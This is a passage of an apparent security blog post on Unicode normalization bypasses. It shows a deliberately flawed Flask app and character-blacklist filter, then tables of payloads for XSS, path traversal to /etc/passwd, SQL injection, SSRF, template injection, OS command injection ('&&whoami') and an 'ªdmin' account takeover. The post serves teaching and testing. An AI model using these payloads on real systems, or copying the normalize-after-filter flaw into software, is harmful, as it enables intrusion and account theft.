  &lt;li&gt;server.py&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;flask&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Flask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;unicodedata&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;waf&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;waf&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Flask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Welcome_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;waf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;abort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;403&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;XSS Detected&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unicodedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFKD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#NFC, NFKC, NFD, and NFKD
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Test XSS: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;81&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This application loads the following &lt;em&gt;“WAF”&lt;/em&gt; to abort the connection if some uncommon character is detected:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;waf.py&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;waf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blacklist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;~&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;@&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;^&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;(&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;|&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;?&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;,&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;vuln_detected&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blacklist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; 
        &lt;span class=&quot;n&quot;&gt;vuln_detected&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vuln_detected&lt;/span&gt;   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Therefore, some request with the following payload (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=p onerror='prompt(1)'&amp;gt;&lt;/code&gt;) will be aborted:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&amp;gt;
&amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Forbidden&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;XSS Detected&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we check the following line of the code:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unicodedata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'NFKD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can observe that the server is performing some unicode normalization &lt;strong&gt;after&lt;/strong&gt; the WAF analyzes the input. Therefore, a payload with the same unicode value after the normalization than a common XSS payload will trigger the same results:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS: &amp;lt;img src=p onerror='prompt(1)'&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200219/2.png&quot; alt=&quot;XSS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Perfect, but how this characters can be found? Can this method bypass some restriction with other vulnerabilities?&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-to-find-normalized-characters&quot;&gt;How to find normalized characters?&lt;/h2&gt;

&lt;p&gt;In order to find a complete list of characters that have the same meaning after unicode compatibility this amazing resource could be used:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.compart.com/en/unicode&quot;&gt;https://www.compart.com/en/unicode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A character can be searched and the same character after compatibility would be found. For example, the character &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; - &lt;a href=&quot;https://www.compart.com/en/unicode/U+003C&quot;&gt;https://www.compart.com/en/unicode/U+003C&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200219/3.png&quot; alt=&quot;Compart&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Shows this three characters: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;≮&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;﹤&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;＜&lt;/code&gt;. After clicking in each one we can see in the &lt;em&gt;Decomposition&lt;/em&gt; section that are normalized in the following way:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;≮&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; (U+003C) - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;◌̸&lt;/code&gt; (U+0338)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;﹤&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; (U+003C)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;＜&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; (U+003C)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this case the character &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;≮&lt;/code&gt; would not achieve our desired functionallity because it injects the character &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;◌̸&lt;/code&gt; (U+0338) and will break our payload.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploiting-other-vulnerabilities&quot;&gt;Exploiting other vulnerabilities&lt;/h2&gt;

&lt;p&gt;Tons of custom payloads could be crafted if normalization is performed, in this case I will give some ideas:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Path Traversal&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;‥ (U+2025)&lt;/td&gt;
      &lt;td&gt;‥/‥/‥/etc/passwd&lt;/td&gt;
      &lt;td&gt;../../../etc/passwd&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;︰(U+FE30)&lt;/td&gt;
      &lt;td&gt;︰/︰/︰/etc/passwd&lt;/td&gt;
      &lt;td&gt;../../../etc/passwd&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;＇(U+FF07)&lt;/td&gt;
      &lt;td&gt;＇ or ＇1＇=＇1&lt;/td&gt;
      &lt;td&gt;’ or ‘1’=’1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;＂(U+FF02)&lt;/td&gt;
      &lt;td&gt;＂ or ＂1＂=＂1&lt;/td&gt;
      &lt;td&gt;” or “1”=”1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;﹣ (U+FE63)&lt;/td&gt;
      &lt;td&gt;admin＇﹣﹣&lt;/td&gt;
      &lt;td&gt;admin’–&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Server Side Request Forgery (SSRF)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;⓪ (U+24EA)&lt;/td&gt;
      &lt;td&gt;①②⑦.⓪.⓪.①&lt;/td&gt;
      &lt;td&gt;127.0.0.1&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Open Redirect&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;。(U+3002)&lt;/td&gt;
      &lt;td&gt;jlajara。gitlab。io&lt;/td&gt;
      &lt;td&gt;jlajara.gitlab.io&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;／(U+FF0F)&lt;/td&gt;
      &lt;td&gt;／／jlajara.gitlab.io&lt;/td&gt;
      &lt;td&gt;//jlajara.gitlab.io&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;XSS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;＜(U+FF1C)&lt;/td&gt;
      &lt;td&gt;＜script src=a／＞&lt;/td&gt;
      &lt;td&gt;＜script src=a/&amp;gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;＂(U+FF02)&lt;/td&gt;
      &lt;td&gt;＂onclick=＇prompt(1)＇&lt;/td&gt;
      &lt;td&gt;“onclick=’prompt(1)’&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Template Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;﹛(U+FE5B)&lt;/td&gt;
      &lt;td&gt;﹛﹛3+3﹜﹜&lt;/td&gt;
      &lt;td&gt;{{3+3}}&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;［ (U+FF3B)&lt;/td&gt;
      &lt;td&gt;［［5+5］］&lt;/td&gt;
      &lt;td&gt;[[5+5]]&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OS Command Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;＆ (U+FF06)&lt;/td&gt;
      &lt;td&gt;＆＆whoami&lt;/td&gt;
      &lt;td&gt;&amp;amp;&amp;amp;whoami&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;｜ (U+FF5C)&lt;/td&gt;
      &lt;td&gt;｜｜ whoami&lt;/td&gt;
      &lt;td&gt;||whoami&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Arbitrary file upload&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;ｐ (U+FF50) ʰ (U+02B0)&lt;/td&gt;
      &lt;td&gt;test.ｐʰｐ&lt;/td&gt;
      &lt;td&gt;test.php&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Business logic&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Register a user with some characters similar to another user. Maybe the registration process will allow the registration because the user in this step is not normalized and allows this character. After that, suppose that the application performs some normalization after retrieving the user data.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; Register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ªdmin&lt;/code&gt;. There is not entry in database, registration successfull.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; Login as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ªdmin&lt;/code&gt;. Backend performs normalization and gives the results of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; Account takeover.&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Character&lt;/th&gt;
      &lt;th&gt;Payload&lt;/th&gt;
      &lt;th&gt;After Normalization&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;ª (U+00AA)&lt;/td&gt;
      &lt;td&gt;ªdmin&lt;/td&gt;
      &lt;td&gt;admin&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;

&lt;p&gt;A detection of this behaviour could be performed identifying what parameter reflects it contents. Afther that, a custom payload could be submitted to analyze the behaviour. For example:&lt;/p&gt;

&lt;p&gt;Submitting the URL encoded version of the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83&lt;/code&gt;) gives the following response:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 19

Test XSS: Leonishan
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Therefore, unicode compatibility is performed ✅&lt;/p&gt;

&lt;p&gt;If we submit the payload and the response is the following:&lt;/p&gt;

